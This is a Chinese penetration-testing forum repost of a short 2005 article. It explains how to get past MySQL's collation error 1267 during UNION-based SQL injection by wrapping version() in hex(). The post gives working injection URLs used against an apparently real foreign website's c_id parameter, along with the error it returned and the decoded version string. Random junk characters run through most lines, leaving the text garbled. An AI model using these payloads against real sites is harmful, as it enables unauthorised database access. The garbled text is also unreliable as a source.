中国网络渗透测试联盟

标题: MySQL注射时ErrorNo.1267的突破 [打印本页]

作者: admin    时间: 2012-9-15 14:04
标题: MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei( T: l, p4 q1 v& E+ |
文章性质:原创: v" m& y5 ]. W4 N5 [& P
发布日期:2005-10-18
0 d2 n4 q$ _2 n$ J0 R测试个国外的站时:; j' A9 `5 Q+ C
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*; F9 O: \  Y8 Q8 a1 q9 H0 ~
返回错误:9 P: Z/ S* I" e% z+ d. O
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
6 h" H' A( ^6 h' p  hMySQL Error No. 126" m' m% x0 M- ]) P) D( q" l
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
8 k3 ^7 V) M9 h0 |0 p( G解决办法:转为其他编码如hex。8 N2 p* V" `* y7 n! z
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*1 G7 _) v, ?& B( i  G3 z
成功得到hex(version())的值为:% W. n; z9 a' f1 I7 ~
342E312E332D626574610 U! l/ W. q* q* p: h8 X# i# Y- a
回Mysql查询下得到:# m6 ?: g6 Z3 I
mysql> select 0x342E312E332D62657461;
  R/ E2 ?( ]8 _0 P+ D+------------------------+
6 ~: o6 {5 ?; `! O/ r) D. g/ v| 0x342E312E332D62657461 |9 i- V7 S4 }" n1 _% i; [
+------------------------+# l) X  q; V# o" _( i- p1 W. S! g. }
| 4.1.3-beta |
% k% n% U/ V# H( y. V! ?& c9 K; s+------------------------+
5 f0 g  Q* M* ^/ Z0 D7 R' v: |6 @* s1 row in set (0.00 sec)
7 J" R+ X4 w. v* E  F7 K* s4 o+ B- _9 ^' H





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2